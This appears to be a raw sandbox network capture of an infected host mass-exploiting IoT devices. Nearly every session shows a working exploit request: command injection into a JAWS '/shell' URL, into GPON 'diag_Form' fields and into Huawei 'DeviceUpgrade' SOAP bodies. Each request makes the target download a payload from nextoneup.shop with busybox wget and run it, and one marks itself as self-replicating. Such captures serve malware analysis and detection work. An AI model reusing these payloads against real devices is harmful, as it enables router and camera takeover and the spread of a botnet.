Apr 14, 2024 04:01:06.185954094 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:06 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1491	192.168.2.23	42536	58.71.32.124	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.888343096 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:06.217947960 CEST	201	IN	HTTP/1.0 302 Moved Temporarily Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Server: BigIP Connection: Keep-Alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1492	192.168.2.23	42600	178.250.49.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.612916946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1493	192.168.2.23	59728	148.112.208.133	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.612962008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1494	192.168.2.23	55738	2.133.103.95	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.613020897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1495	192.168.2.23	39038	156.241.69.112	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.694896936 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:10.721981049 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:16.865128040 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:28.895421982 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:53.728079081 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1496	192.168.2.23	59344	109.105.222.8	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:07.410650969 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1497	192.168.2.23	48996	23.224.126.70	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:07.410772085 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:07.583602905 CEST	563	IN	HTTP/1.1 404 Not Found Content-Length: 427 Content-Type: text/html; charset=utf-8 Date: Sun, 14 Apr 2024 02:01:07 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 2a 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 7d 0d 0a 68 33 2c 20 70 20 7b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7d 0d 0a 70 20 7b 20 63 6f 6c 6f 72 3a 20 67 72 65 79 3b 20 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 3a 20 34 30 34 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 33 3e 0d 0a 3c 68 33 3e e6 89 be e4 b8 8d e5 88 b0 e6 82 a8 e8 a6 81 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e3 80 82 3c 2f 68 33 3e 0d 0a 0d 0a 3c 70 3e e5 8e 9f e5 9b a0 ef bc 9a e6 89 be e4 b8 8d e5 88 b0 e5 bd 93 e5 89 8d e8 ae bf e9 97 ae e5 9f 9f e5 90 8d e5 af b9 e5 ba 94 e7 9a 84 e7 bd 91 e7 ab 99 ef bc 8c e8 af b7 e8 81 94 e7 b3 bb e7 bd 91 e7 ab 99 e7 ae a1 e7 90 86 e5 91 98 e3 80 82 3c 2f 70 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"/><title>404 not found</title><style>* { font-family: Roboto, system-ui, sans-serif; }h3, p { text-align: center; }p { color: grey; }</style></head><body><h3>Error: 404 Page Not Found</h3><h3></h3><p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1498	192.168.2.23	47434	107.158.135.78	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:07.448780060 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:07.657548904 CEST	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:07 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1499	192.168.2.23	39358	54.38.38.141	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:07.546185970 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:07.852216005 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1500	192.168.2.23	55884	45.221.97.9	80

Timestamp	Bytes transferred	Direction	Data
